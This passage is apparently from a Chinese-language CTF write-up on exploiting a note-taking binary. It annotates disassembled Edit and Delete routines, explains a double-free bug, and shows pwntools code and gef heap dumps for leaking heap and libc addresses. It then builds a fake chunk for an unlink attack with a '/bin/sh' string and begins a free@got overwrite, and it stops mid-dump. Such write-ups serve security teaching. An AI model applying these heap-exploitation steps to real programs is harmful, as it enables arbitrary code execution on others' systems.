  51. | | 0x00400e19 8945e4 mov dword [local_1ch], eax ; [local_1ch] 为新大小
  52. | | 0x00400e1c 837de400 cmp dword [local_1ch], 0 ; 进行检查,确保新的大小是有效的
  53. | ,==< 0x00400e20 7f0f jg 0x400e31
  54. | || 0x00400e22 bf81124000 mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
  55. | || 0x00400e27 e894f8ffff call sym.imp.puts ; int puts(const char *s)
  56. | ,===< 0x00400e2c e945010000 jmp 0x400f76
  57. | ||| ; JMP XREF from 0x00400e20 (sub.Note_number:_d87)
  58. | |`--> 0x00400e31 817de4001000. cmp dword [local_1ch], 0x1000 ; [0x1000:4]=-1
  59. | |,==< 0x00400e38 7e07 jle 0x400e41
  60. | ||| 0x00400e3a c745e4001000. mov dword [local_1ch], 0x1000
  61. | ||| ; JMP XREF from 0x00400e38 (sub.Note_number:_d87)
  62. | |`--> 0x00400e41 8b45e4 mov eax, dword [local_1ch]
  63. | | | 0x00400e44 4863c8 movsxd rcx, eax
  64. | | | 0x00400e47 488b355a1220. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
  65. | | | 0x00400e4e 8b45e8 mov eax, dword [local_18h]
  66. | | | 0x00400e51 4863d0 movsxd rdx, eax
  67. | | | 0x00400e54 4889d0 mov rax, rdx
  68. | | | 0x00400e57 4801c0 add rax, rax ; '#'
  69. | | | 0x00400e5a 4801d0 add rax, rdx ; '('
  70. | | | 0x00400e5d 48c1e003 shl rax, 3
  71. | | | 0x00400e61 4801f0 add rax, rsi ; '+'
  72. | | | 0x00400e64 4883c010 add rax, 0x10
  73. | | | 0x00400e68 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8
  74. | | | 0x00400e6c 4839c1 cmp rcx, rax ; 比较新大小与原大小是否相同
  75. | |,==< 0x00400e6f 0f84b7000000 je 0x400f2c ; 如果相同,跳过重新分配空间的过程,直接修改笔记
  76. | ||| 0x00400e75 8b45e4 mov eax, dword [local_1ch]
  77. | ||| 0x00400e78 99 cdq
  78. | ||| 0x00400e79 c1ea19 shr edx, 0x19
  79. | ||| 0x00400e7c 01d0 add eax, edx
  80. | ||| 0x00400e7e 83e07f and eax, 0x7f
  81. | ||| 0x00400e81 29d0 sub eax, edx
  82. | ||| 0x00400e83 ba80000000 mov edx, 0x80 ; 128
  83. | ||| 0x00400e88 29c2 sub edx, eax
  84. | ||| 0x00400e8a 89d0 mov eax, edx
  85. | ||| 0x00400e8c c1f81f sar eax, 0x1f
  86. | ||| 0x00400e8f c1e819 shr eax, 0x19
  87. | ||| 0x00400e92 01c2 add edx, eax
  88. | ||| 0x00400e94 83e27f and edx, 0x7f
  89. | ||| 0x00400e97 29c2 sub edx, eax
  90. | ||| 0x00400e99 89d0 mov eax, edx
  91. | ||| 0x00400e9b 89c2 mov edx, eax
  92. | ||| 0x00400e9d 8b45e4 mov eax, dword [local_1ch]
  93. | ||| 0x00400ea0 01d0 add eax, edx
  94. | ||| 0x00400ea2 8945ec mov dword [local_14h], eax
  95. | ||| 0x00400ea5 488b1dfc1120. mov rbx, qword [0x006020a8] ; [0x6020a8:8]=0
  96. | ||| 0x00400eac 8b45ec mov eax, dword [local_14h]
  97. | ||| 0x00400eaf 4863c8 movsxd rcx, eax
  98. | ||| 0x00400eb2 488b35ef1120. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
  99. | ||| 0x00400eb9 8b45e8 mov eax, dword [local_18h]
  100. | ||| 0x00400ebc 4863d0 movsxd rdx, eax
  101. | ||| 0x00400ebf 4889d0 mov rax, rdx
  102. | ||| 0x00400ec2 4801c0 add rax, rax ; '#'
  103. | ||| 0x00400ec5 4801d0 add rax, rdx ; '('
  104. | ||| 0x00400ec8 48c1e003 shl rax, 3
  105. | ||| 0x00400ecc 4801f0 add rax, rsi ; '+'
  106. | ||| 0x00400ecf 4883c020 add rax, 0x20
  107. | ||| 0x00400ed3 488b00 mov rax, qword [rax]
  108. | ||| 0x00400ed6 4889ce mov rsi, rcx ; rsi 为分配的大小,算法和 New 过程中的一样
  109. | ||| 0x00400ed9 4889c7 mov rdi, rax ; rdi 为 Note 成员 content
  110. | ||| 0x00400edc e85ff8ffff call sym.imp.realloc ; void *realloc(void *ptr, size_t size)
  111. | ||| 0x00400ee1 4889c1 mov rcx, rax
  112. | ||| 0x00400ee4 8b45e8 mov eax, dword [local_18h]
  113. | ||| 0x00400ee7 4863d0 movsxd rdx, eax
  114. | ||| 0x00400eea 4889d0 mov rax, rdx
  115. | ||| 0x00400eed 4801c0 add rax, rax ; '#'
  116. | ||| 0x00400ef0 4801d0 add rax, rdx ; '('
  117. | ||| 0x00400ef3 48c1e003 shl rax, 3
  118. | ||| 0x00400ef7 4801d8 add rax, rbx ; '%'
  119. | ||| 0x00400efa 4883c020 add rax, 0x20
  120. | ||| 0x00400efe 488908 mov qword [rax], rcx
  121. | ||| 0x00400f01 488b35a01120. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
  122. | ||| 0x00400f08 8b45e4 mov eax, dword [local_1ch]
  123. | ||| 0x00400f0b 4863c8 movsxd rcx, eax
  124. | ||| 0x00400f0e 8b45e8 mov eax, dword [local_18h]
  125. | ||| 0x00400f11 4863d0 movsxd rdx, eax
  126. | ||| 0x00400f14 4889d0 mov rax, rdx
  127. | ||| 0x00400f17 4801c0 add rax, rax ; '#'
  128. | ||| 0x00400f1a 4801d0 add rax, rdx ; '('
  129. | ||| 0x00400f1d 48c1e003 shl rax, 3
  130. | ||| 0x00400f21 4801f0 add rax, rsi ; '+'
  131. | ||| 0x00400f24 4883c010 add rax, 0x10
  132. | ||| 0x00400f28 48894808 mov qword [rax + 8], rcx ; 将新的大小写回 Note 的 length
  133. | ||| ; JMP XREF from 0x00400e6f (sub.Note_number:_d87)
  134. | |`--> 0x00400f2c bf91124000 mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
  135. | | | 0x00400f31 b800000000 mov eax, 0
  136. | | | 0x00400f36 e8a5f7ffff call sym.imp.printf ; int printf(const char *format)
  137. | | | 0x00400f3b 488b0d661120. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  138. | | | 0x00400f42 8b45e8 mov eax, dword [local_18h]
  139. | | | 0x00400f45 4863d0 movsxd rdx, eax
  140. | | | 0x00400f48 4889d0 mov rax, rdx
  141. | | | 0x00400f4b 4801c0 add rax, rax ; '#'
  142. | | | 0x00400f4e 4801d0 add rax, rdx ; '('
  143. | | | 0x00400f51 48c1e003 shl rax, 3
  144. | | | 0x00400f55 4801c8 add rax, rcx ; '&'
  145. | | | 0x00400f58 4883c020 add rax, 0x20
  146. | | | 0x00400f5c 488b00 mov rax, qword [rax]
  147. | | | 0x00400f5f 8b55e4 mov edx, dword [local_1ch]
  148. | | | 0x00400f62 89d6 mov esi, edx
  149. | | | 0x00400f64 4889c7 mov rdi, rax
  150. | | | 0x00400f67 e8f1f8ffff call sub.read_85d ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入新的笔记内容
  151. | | | 0x00400f6c bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
  152. | | | 0x00400f71 e84af7ffff call sym.imp.puts ; int puts(const char *s)
  153. | | | ; JMP XREF from 0x00400dfb (sub.Note_number:_d87)
  154. | | | ; JMP XREF from 0x00400e2c (sub.Note_number:_d87)
  155. | `-`-> 0x00400f76 4883c418 add rsp, 0x18
  156. | 0x00400f7a 5b pop rbx
  157. | 0x00400f7b 5d pop rbp
  158. \ 0x00400f7c c3 ret

该函数在输入了笔记序号和大小之后,会先判断新的大小与现在的大小是否相同,如果相同,则不重新分配空间,直接编辑其内容,否则调用 realloc() 重新分配一块空间(地址可能与原地址相同,也可能不相同)。

Delete 的实现如下:

  1. [0x00400770]> pdf @ sub.No_notes_yet._f7d
  2. / (fcn) sub.No_notes_yet._f7d 266
  3. | sub.No_notes_yet._f7d ();
  4. | ; var int local_4h @ rbp-0x4
  5. | ; var int local_0h @ rbp-0x0
  6. | ; CALL XREF from 0x004010ec (main + 101)
  7. | 0x00400f7d 55 push rbp
  8. | 0x00400f7e 4889e5 mov rbp, rsp
  9. | 0x00400f81 4883ec10 sub rsp, 0x10
  10. | 0x00400f85 488b051c1120. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  11. | 0x00400f8c 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8
  12. | 0x00400f90 4885c0 test rax, rax ; 检查 Notes 成员 length 是否为零,即是否有笔记
  13. | ,=< 0x00400f93 0f8ee2000000 jle 0x40107b
  14. | | 0x00400f99 bfa9124000 mov edi, str.Note_number: ; 0x4012a9 ; "Note number: "
  15. | | 0x00400f9e b800000000 mov eax, 0
  16. | | 0x00400fa3 e838f7ffff call sym.imp.printf ; int printf(const char *format)
  17. | | 0x00400fa8 b800000000 mov eax, 0
  18. | | 0x00400fad e89cf9ffff call sub.atoi_94e ; int atoi(const char *str)
  19. | | 0x00400fb2 8945fc mov dword [local_4h], eax ; [local_4h] 为要删除笔记的序号
  20. | | 0x00400fb5 837dfc00 cmp dword [local_4h], 0 ; 检查笔记序号是否有效
  21. | ,==< 0x00400fb9 7815 js 0x400fd0
  22. | || 0x00400fbb 8b45fc mov eax, dword [local_4h]
  23. | || 0x00400fbe 4863d0 movsxd rdx, eax
  24. | || 0x00400fc1 488b05e01020. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  25. | || 0x00400fc8 488b00 mov rax, qword [rax]
  26. | || 0x00400fcb 4839c2 cmp rdx, rax
  27. | ,===< 0x00400fce 7c0f jl 0x400fdf
  28. | ||| ; JMP XREF from 0x00400fb9 (sub.No_notes_yet._f7d)
  29. | |`--> 0x00400fd0 bfb7124000 mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
  30. | | | 0x00400fd5 e8e6f6ffff call sym.imp.puts ; int puts(const char *s)
  31. | |,==< 0x00400fda e9a6000000 jmp 0x401085
  32. | ||| ; JMP XREF from 0x00400fce (sub.No_notes_yet._f7d)
  33. | `---> 0x00400fdf 488b05c21020. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  34. | || 0x00400fe6 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
  35. | || 0x00400fea 4883ea01 sub rdx, 1 ; length -1
  36. | || 0x00400fee 48895008 mov qword [rax + 8], rdx ; 将新的 length 写回去
  37. | || 0x00400ff2 488b0daf1020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  38. | || 0x00400ff9 8b45fc mov eax, dword [local_4h]
  39. | || 0x00400ffc 4863d0 movsxd rdx, eax
  40. | || 0x00400fff 4889d0 mov rax, rdx
  41. | || 0x00401002 4801c0 add rax, rax ; '#'
  42. | || 0x00401005 4801d0 add rax, rdx ; '('
  43. | || 0x00401008 48c1e003 shl rax, 3
  44. | || 0x0040100c 4801c8 add rax, rcx ; '&'
  45. | || 0x0040100f 4883c010 add rax, 0x10
  46. | || 0x00401013 48c700000000. mov qword [rax], 0 ; 修改 Note 成员 isValid 0
  47. | || 0x0040101a 488b0d871020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  48. | || 0x00401021 8b45fc mov eax, dword [local_4h]
  49. | || 0x00401024 4863d0 movsxd rdx, eax
  50. | || 0x00401027 4889d0 mov rax, rdx
  51. | || 0x0040102a 4801c0 add rax, rax ; '#'
  52. | || 0x0040102d 4801d0 add rax, rdx ; '('
  53. | || 0x00401030 48c1e003 shl rax, 3
  54. | || 0x00401034 4801c8 add rax, rcx ; '&'
  55. | || 0x00401037 4883c010 add rax, 0x10
  56. | || 0x0040103b 48c740080000. mov qword [rax + 8], 0 ; 修改 Note 成员 length 0
  57. | || 0x00401043 488b0d5e1020. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
  58. | || 0x0040104a 8b45fc mov eax, dword [local_4h]
  59. | || 0x0040104d 4863d0 movsxd rdx, eax
  60. | || 0x00401050 4889d0 mov rax, rdx
  61. | || 0x00401053 4801c0 add rax, rax ; '#'
  62. | || 0x00401056 4801d0 add rax, rdx ; '('
  63. | || 0x00401059 48c1e003 shl rax, 3
  64. | || 0x0040105d 4801c8 add rax, rcx ; '&'
  65. | || 0x00401060 4883c020 add rax, 0x20
  66. | || 0x00401064 488b00 mov rax, qword [rax]
  67. | || 0x00401067 4889c7 mov rdi, rax ; rdi Note 成员 content 指向的地址
  68. | || 0x0040106a e841f6ffff call sym.imp.free ; void free(void *ptr)
  69. | || 0x0040106f bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
  70. | || 0x00401074 e847f6ffff call sym.imp.puts ; int puts(const char *s)
  71. | ,===< 0x00401079 eb0a jmp 0x401085
  72. | ||| ; JMP XREF from 0x00400f93 (sub.No_notes_yet._f7d)
  73. | ||`-> 0x0040107b bfd8124000 mov edi, str.No_notes_yet. ; 0x4012d8 ; "No notes yet."
  74. | || 0x00401080 e83bf6ffff call sym.imp.puts ; int puts(const char *s)
  75. | || ; JMP XREF from 0x00400fda (sub.No_notes_yet._f7d)
  76. | || ; JMP XREF from 0x00401079 (sub.No_notes_yet._f7d)
  77. | ``--> 0x00401085 c9 leave
  78. \ 0x00401086 c3 ret

该函数在读入要删除的笔记序号后,首先将 Notes 结构体成员 length -1,然后将对应的 Note 结构体的 isValidlength 修改为 0,然后 free 掉笔记的内容(*content)。

漏洞利用

在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 isValid =0 作为标记,而没有将该笔记从 Notes 中移除,也没有将 content 设置为 NULL,然后就调用了 free 函数。整个过程没有对 isValid 是否已经为 0 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free,修改 GOT 表,改变程序的执行流。

泄漏地址

第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧:

  1. gef vmmap heap
  2. Start End Offset Perm Path
  3. 0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap]
  4. gef vmmap libc
  5. Start End Offset Perm Path
  6. 0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc-2.19.so
  7. 0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc-2.19.so
  8. 0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc-2.19.so
  9. 0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc-2.19.so

为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk,所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体:

  1. for i in range(4):
  2. newnote("A"*8)
  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
  3. 0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length
  4. 0x603020: 0x0000000000000001 0x0000000000000008 <-- Notes.notes[0].isValid <-- Notes.notes[0].length
  5. 0x603030: 0x0000000000604830 0x0000000000000001 <-- Notes.notes[0].content
  6. 0x603040: 0x0000000000000008 0x00000000006048c0
  7. 0x603050: 0x0000000000000001 0x0000000000000008
  8. 0x603060: 0x0000000000604950 0x0000000000000001
  9. 0x603070: 0x0000000000000008 0x00000000006049e0

下面是创建的 4 个笔记:

  1. gef x/4gx 0x00603000+0x1820
  2. 0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
  3. 0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content
  4. gef x/4gx 0x00603000+0x1820+0x90*1
  5. 0x6048b0: 0x0000000000000000 0x0000000000000091 <-- chunk 1
  6. 0x6048c0: 0x4141414141414141 0x0000000000000000 <-- *notes[1].content
  7. gef x/4gx 0x00603000+0x1820+0x90*2
  8. 0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2
  9. 0x604950: 0x4141414141414141 0x0000000000000000 <-- *notes[2].content
  10. gef x/4gx 0x00603000+0x1820+0x90*3
  11. 0x6049d0: 0x0000000000000000 0x0000000000000091 <-- chunk 3
  12. 0x6049e0: 0x4141414141414141 0x0000000000000000 <-- *notes[3].content
  13. gef x/4gx 0x00603000+0x1820+0x90*4
  14. 0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
  15. 0x604a70: 0x0000000000000000 0x0000000000000000

现在我们释放掉 chunk 0 和 chunk 2:

  1. delnote(0)
  2. delnote(2)
  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
  3. 0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length
  4. 0x603020: 0x0000000000000000 0x0000000000000000 <-- notes[0].isValid <-- notes[0].length
  5. 0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
  6. 0x603040: 0x0000000000000008 0x00000000006048c0
  7. 0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
  8. 0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
  9. 0x603070: 0x0000000000000008 0x00000000006049e0
  10. gef x/4gx 0x00603000+0x1820
  11. 0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed]
  12. 0x604830: 0x00007ffff7dd37b8 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2
  13. gef x/4gx 0x00603000+0x1820+0x90*1
  14. 0x6048b0: 0x0000000000000090 0x0000000000000090 <-- chunk 1
  15. 0x6048c0: 0x4141414141414141 0x0000000000000000
  16. gef x/4gx 0x00603000+0x1820+0x90*2
  17. 0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
  18. 0x604950: 0x0000000000604820 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
  19. gef x/4gx 0x00603000+0x1820+0x90*3
  20. 0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
  21. 0x6049e0: 0x4141414141414141 0x0000000000000000
  22. gef x/4gx 0x00603000+0x1820+0x90*4
  23. 0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
  24. 0x604a70: 0x0000000000000000 0x0000000000000000

chunk 0 和 chunk 2 被放进了 unsorted bin,且它们的 fd 和 bk 指针有我们需要的地址。

为了泄漏堆地址,我们分配一个内容长度为 8 的笔记,malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来:

  1. newnote("A"*8)
  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
  3. 0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length
  4. 0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].isValid <-- notes[0].length
  5. 0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
  6. 0x603040: 0x0000000000000008 0x00000000006048c0
  7. 0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
  8. 0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
  9. 0x603070: 0x0000000000000008 0x00000000006049e0
  10. gef x/4gx 0x00603000+0x1820
  11. 0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
  12. 0x604830: 0x4141414141414141 0x0000000000604940 <-- info leak
  13. gef x/4gx 0x00603000+0x1820+0x90*1
  14. 0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
  15. 0x6048c0: 0x4141414141414141 0x0000000000000000
  16. gef x/4gx 0x00603000+0x1820+0x90*2
  17. 0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
  18. 0x604950: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
  19. gef x/4gx 0x00603000+0x1820+0x90*3
  20. 0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
  21. 0x6049e0: 0x4141414141414141 0x0000000000000000
  22. gef x/4gx 0x00603000+0x1820+0x90*4
  23. 0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
  24. 0x604a70: 0x0000000000000000 0x0000000000000000

为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 \0,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 0x604940 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址:

  1. s = listnote(0)[8:]
  2. heap_addr = u64((s.ljust(8, "\x00"))[:8])
  3. heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2

其实我们还可以得到 libc 的地址,方法如下:

  1. gef x/20gx 0x00007ffff7dd37b8-0x78
  2. 0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
  3. 0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000
  4. 0x7ffff7dd3760: 0x0000000100000000 0x0000000000000000 <-- main_arena
  5. 0x7ffff7dd3770: 0x0000000000000000 0x0000000000000000
  6. 0x7ffff7dd3780: 0x0000000000000000 0x0000000000000000
  7. 0x7ffff7dd3790: 0x0000000000000000 0x0000000000000000
  8. 0x7ffff7dd37a0: 0x0000000000000000 0x0000000000000000
  9. 0x7ffff7dd37b0: 0x0000000000000000 0x0000000000604a60 <-- top
  10. 0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940
  11. 0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8

我们看到 __malloc_hook 在这个地址 0x00007ffff7dd37b8-0x78 的地方。其实 0x7ffff7dd3760 地方开始就是 main_arena,但在这个 libc 里符号被 stripped 扔掉了。看一下 __malloc_hook 在 libc 中的偏移:

  1. $ readelf -s libc-2.19.so | grep __malloc_hook
  2. 1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5

因为偏移是不变的,我们总是可以计算出 libc 的地址:

  1. libc_base = leak_addr - (0x3be740 + 0x78)

过程和泄漏堆地址是一样的,这里就不展示了,代码如下:

  1. newnote("A"*8)
  2. s = listnote(2)[8:]
  3. libc_addr = u64((s.ljust(8, "\x00"))[:8])
  4. libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78

这一步的最后只要把创建的所有笔记都删掉就好了:

  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
  3. 0x603010: 0x0000000000000100 0x0000000000000000
  4. 0x603020: 0x0000000000000000 0x0000000000000000
  5. 0x603030: 0x0000000000604830 0x0000000000000000
  6. 0x603040: 0x0000000000000000 0x00000000006048c0
  7. 0x603050: 0x0000000000000000 0x0000000000000000
  8. 0x603060: 0x0000000000604950 0x0000000000000000
  9. 0x603070: 0x0000000000000000 0x00000000006049e0
  10. gef x/4gx 0x00603000+0x1820
  11. 0x604820: 0x0000000000000000 0x00000000000207e1
  12. 0x604830: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
  13. gef x/4gx 0x00603000+0x1820+0x90*1
  14. 0x6048b0: 0x0000000000000090 0x0000000000000090
  15. 0x6048c0: 0x4141414141414141 0x0000000000000000
  16. gef x/4gx 0x00603000+0x1820+0x90*2
  17. 0x604940: 0x0000000000000120 0x0000000000000090
  18. 0x604950: 0x4141414141414141 0x00007ffff7dd37b8
  19. gef x/4gx 0x00603000+0x1820+0x90*3
  20. 0x6049d0: 0x00000000000001b0 0x0000000000000090 <-- chunk 3 [be freed]
  21. 0x6049e0: 0x4141414141414141 0x0000000000000000
  22. gef x/4gx 0x00603000+0x1820+0x90*4
  23. 0x604a60: 0x0000000000000000 0x00000000000205a1
  24. 0x604a70: 0x0000000000000000 0x0000000000000000

所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段:

  1. 0x6049d0 - 0x1b0 = 0x604820

所以其实它指向的是 chunk 0,如果再次释放 chunk 3,它会根据 prev_size 找到 chunk 0,并执行 unlink,然而如果直接这样做的话,马上就被 libc 检查出来了,double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk,来成功 unlink。

有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk,在 chunk 0 中构造 fake chunk,在 chunk 1 中放置 /bin/sh 字符串,用来作为 system() 函数的参数,chunk 2 里再放置两个 fake chunk:

  1. newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
  2. newnote('/bin/sh\x00') # note 1
  3. newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2

为什么这样构造呢?回顾一下 unlink 的操作如下:

  1. FD = P->fd;
  2. BK = P->bk;
  3. FD->bk = BK
  4. BK->fd = FD

需要绕过的检查:

  1. (P->fd->bk != P || P->bk->fd != P) == False

最终效果是:

  1. FD->bk = P = BK = &P - 16
  2. BK->fd = P = FD = &P - 24

为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。

全部堆块的情况如下:

  1. gef x/4gx 0x603018
  2. 0x603018: 0x0000000000000003 0x0000000000000001
  3. 0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer
  4. gef x/4gx 0x603020
  5. 0x603020: 0x0000000000000001 0x0000000000000020
  6. 0x603030: 0x0000000000604830 0x0000000000000001 <-- fd pointer
  7. gef x/90gx 0x00603000+0x1820
  8. 0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
  9. 0x604830: 0x0000000000000000 0x0000000000000000 <-- fake chunk
  10. 0x604840: 0x0000000000603018 0x0000000000603020 <-- fd pointer <-- bk pointer
  11. 0x604850: 0x0000000000000000 0x0000000000000000
  12. 0x604860: 0x0000000000000000 0x0000000000000000
  13. 0x604870: 0x0000000000000000 0x0000000000000000
  14. 0x604880: 0x0000000000000000 0x0000000000000000
  15. 0x604890: 0x0000000000000000 0x0000000000000000
  16. 0x6048a0: 0x0000000000000000 0x0000000000000000
  17. 0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
  18. 0x6048c0: 0x0068732f6e69622f 0x0000000000000000 <-- '/bin/sh'
  19. 0x6048d0: 0x0000000000000000 0x0000000000000000
  20. 0x6048e0: 0x0000000000000000 0x0000000000000000
  21. 0x6048f0: 0x0000000000000000 0x0000000000000000
  22. 0x604900: 0x0000000000000000 0x0000000000000000
  23. 0x604910: 0x0000000000000000 0x0000000000000000
  24. 0x604920: 0x0000000000000000 0x0000000000000000
  25. 0x604930: 0x0000000000000000 0x0000000000000000
  26. 0x604940: 0x0000000000000120 0x0000000000000191 <-- chunk 2
  27. 0x604950: 0x4141414141414141 0x4141414141414141
  28. 0x604960: 0x4141414141414141 0x4141414141414141
  29. 0x604970: 0x4141414141414141 0x4141414141414141
  30. 0x604980: 0x4141414141414141 0x4141414141414141
  31. 0x604990: 0x4141414141414141 0x4141414141414141
  32. 0x6049a0: 0x4141414141414141 0x4141414141414141
  33. 0x6049b0: 0x4141414141414141 0x4141414141414141
  34. 0x6049c0: 0x4141414141414141 0x4141414141414141
  35. 0x6049d0: 0x00000000000001a0 0x0000000000000090 <-- chunk 3 pointer
  36. 0x6049e0: 0x4141414141414141 0x4141414141414141
  37. 0x6049f0: 0x4141414141414141 0x4141414141414141
  38. 0x604a00: 0x4141414141414141 0x4141414141414141
  39. 0x604a10: 0x4141414141414141 0x4141414141414141
  40. 0x604a20: 0x4141414141414141 0x4141414141414141
  41. 0x604a30: 0x4141414141414141 0x4141414141414141
  42. 0x604a40: 0x4141414141414141 0x4141414141414141
  43. 0x604a50: 0x4141414141414141 0x4141414141414141
  44. 0x604a60: 0x0000000000000000 0x0000000000000021 <-- fake next chunk PREV_INUSE
  45. 0x604a70: 0x4141414141414141 0x4141414141414141
  46. 0x604a80: 0x4141414141414141 0x0000000000000001 <-- fake next next chunk PREV_INUSE
  47. 0x604a90: 0x0000000000000000 0x0000000000000000
  48. 0x604aa0: 0x0000000000000000 0x0000000000000000
  49. 0x604ab0: 0x0000000000000000 0x0000000000000000
  50. 0x604ac0: 0x0000000000000000 0x0000000000000000
  51. 0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk
  52. 0x604ae0: 0x0000000000000000 0x0000000000000000

首先是 chunk 0,在它里面包含了一个 fake chunk,且设置了 bk、fd 指针用于绕过检查。

chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 0x1a0,于是 0x6049d0 - 0x1a0 = 0x604830,即 fake chunk 的位置。另外,在释放 chunk 3 时,libc 会检查后一个堆块的 PREV_INUSE 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk,所以需要在 chunk 3 后布置一个 fake chunk,同样的 fake chunk 的后一个堆块也必须是 PREV_INUSE 的,以防止 chunk 3 与 fake chunk 合并。

接下来就是释放 chunk 3,触发 unlink:

  1. delnote(3)
  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
  3. 0x603010: 0x0000000000000100 0x0000000000000002
  4. 0x603020: 0x0000000000000001 0x0000000000000020
  5. 0x603030: 0x0000000000603018 0x0000000000000001 <-- notes[0].content
  6. 0x603040: 0x0000000000000008 0x00000000006048c0
  7. 0x603050: 0x0000000000000001 0x0000000000000139
  8. 0x603060: 0x0000000000604950 0x0000000000000000
  9. 0x603070: 0x0000000000000000 0x00000000006049e0

我们看到,note 0 的 content 指针被修改了,原本指向 fake chunk,现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。

overwrite note

这一步我们利用 Edit 功能先将 notes[0].content 该为 free@got

  1. editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))
  1. gef x/16gx 0x00603000
  2. 0x603000: 0x0000000000000000 0x0000000000001821
